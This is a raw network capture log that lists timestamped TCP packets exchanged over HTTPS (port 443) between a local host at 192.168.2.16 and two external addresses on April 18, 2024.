Apr 18, 2024 23:05:33.705044985 CEST	49757	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.705084085 CEST	443	49757	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.723656893 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.723718882 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.723781109 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.723809958 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.723860979 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.723906040 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.723908901 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.723941088 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.723975897 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.723983049 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724210024 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724272013 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724275112 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.724297047 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724371910 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724395990 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.724402905 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724483013 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724513054 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.724529982 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.724673033 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.724956036 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725035906 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725102901 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725157976 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725158930 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.725172997 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725270987 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.725683928 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725754023 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725761890 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.725769997 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725812912 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725837946 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.725847006 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725869894 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725883961 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.725900888 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.725945950 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.725951910 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.726675034 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.726758957 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.726773977 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.726780891 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.726830006 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.726835966 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.726912975 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.726964951 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.726965904 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.726979017 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.727029085 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.727531910 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.727601051 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.727612019 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.727755070 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.727834940 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.727878094 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.727884054 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.727946043 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.727952957 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728018045 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728079081 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.728085995 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728431940 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728514910 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.728522062 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728585958 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728638887 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.728646994 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728737116 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728843927 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.728864908 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.728872061 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.729067087 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.729322910 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.729458094 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.729495049 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.729510069 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.729610920 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.729706049 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.729707956 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.729720116 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.729764938 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.729769945 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.730139971 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.730242014 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.730247974 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.775371075 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.775388002 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.812969923 CEST	49761	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:33.813029051 CEST	443	49761	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:33.813112020 CEST	49761	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:33.813312054 CEST	49761	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:33.813344955 CEST	443	49761	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:33.823553085 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.827651024 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.827955008 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828048944 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828075886 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.828088999 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828135014 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.828141928 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828227043 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828272104 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.828289032 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828347921 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828397036 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.828414917 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828495979 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828535080 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.828548908 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828836918 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828880072 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.828886986 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.828946114 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.829219103 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.829226017 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.829493999 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.829535961 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.829550982 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.829689026 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.829739094 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.829752922 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.829849005 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.829905033 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.829912901 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830334902 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830425978 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830461025 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.830463886 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830480099 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830595016 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.830609083 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830740929 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830743074 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.830784082 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.830848932 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.830854893 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831276894 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831315994 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831340075 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.831346989 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831399918 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.831406116 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831470013 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831525087 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831579924 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.831619024 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.831619024 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.831626892 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832093000 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832139015 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.832156897 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832251072 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832289934 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.832305908 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832381964 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832420111 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.832433939 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832489967 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.832585096 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.832590103 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833096981 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833177090 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833184958 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.833193064 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833266973 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.833275080 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833378077 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833436966 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.833444118 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833494902 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833587885 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.833595037 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833893061 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.833973885 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.834033966 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.834039927 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.834098101 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.834103107 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.834188938 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.834264994 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.834264994 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.834278107 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.834393024 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.834399939 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.880244017 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.880347967 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.880367041 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.880382061 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.880458117 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.880459070 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.880477905 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.880536079 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.880544901 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931366920 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931423903 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931478024 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.931487083 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931761026 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931787968 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.931794882 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931843042 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931900978 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.931907892 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.931984901 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.931991100 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.932044983 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.932858944 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.932867050 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.932938099 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.933506012 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.933516979 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.933577061 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938033104 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.938045025 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938061953 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938101053 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938138962 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938144922 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.938163042 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938189030 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.938211918 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.938226938 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938281059 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.938288927 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938374043 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.938823938 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.938920975 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939007044 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939028025 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.939034939 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939122915 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939140081 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.939148903 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939207077 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.939218044 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939270020 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.939286947 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939760923 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.939827919 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.939836025 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.941154003 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.941174984 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.941217899 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.941226006 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.941282034 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.941282034 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.942936897 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.942956924 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.943111897 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.943120003 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.943243980 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.944669962 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.944729090 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.944789886 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.944789886 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.944797039 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.945122957 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.946621895 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.946644068 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.946748018 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.946755886 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.946795940 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.948484898 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.948534966 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.948611021 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.948611021 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.948617935 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.948661089 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.950143099 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.950190067 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.950238943 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.950244904 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.950267076 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.951971054 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.952013969 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.952032089 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.952049971 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.952086926 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.952086926 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.983962059 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.984031916 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.984059095 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.984072924 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:33.984119892 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:33.984119892 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.026000977 CEST	443	49761	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:34.026257038 CEST	49761	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:34.026285887 CEST	443	49761	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:34.027717113 CEST	443	49761	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:34.027781010 CEST	49761	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:34.028208971 CEST	49761	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:34.028332949 CEST	443	49761	104.17.2.184	192.168.2.16
Apr 18, 2024 23:05:34.028377056 CEST	49761	443	192.168.2.16	104.17.2.184
Apr 18, 2024 23:05:34.035243988 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.035276890 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.035358906 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.035373926 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.035418034 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.035418034 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.036443949 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.036490917 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.036581993 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.036581993 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.036588907 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.036679983 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.038266897 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.038289070 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.038445950 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.038455963 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.038671017 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.039999008 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.040038109 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.040118933 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.040124893 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.040163040 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.040163040 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.042242050 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.042263031 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.042452097 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.042460918 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.042521954 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.044070005 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.044117928 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.044178009 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.044183969 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.044202089 CEST	49758	443	192.168.2.16	104.17.3.184
Apr 18, 2024 23:05:34.045859098 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.045878887 CEST	443	49758	104.17.3.184	192.168.2.16
Apr 18, 2024 23:05:34.045923948 CEST	443	49758	104.17.3.184	192.168.2.16
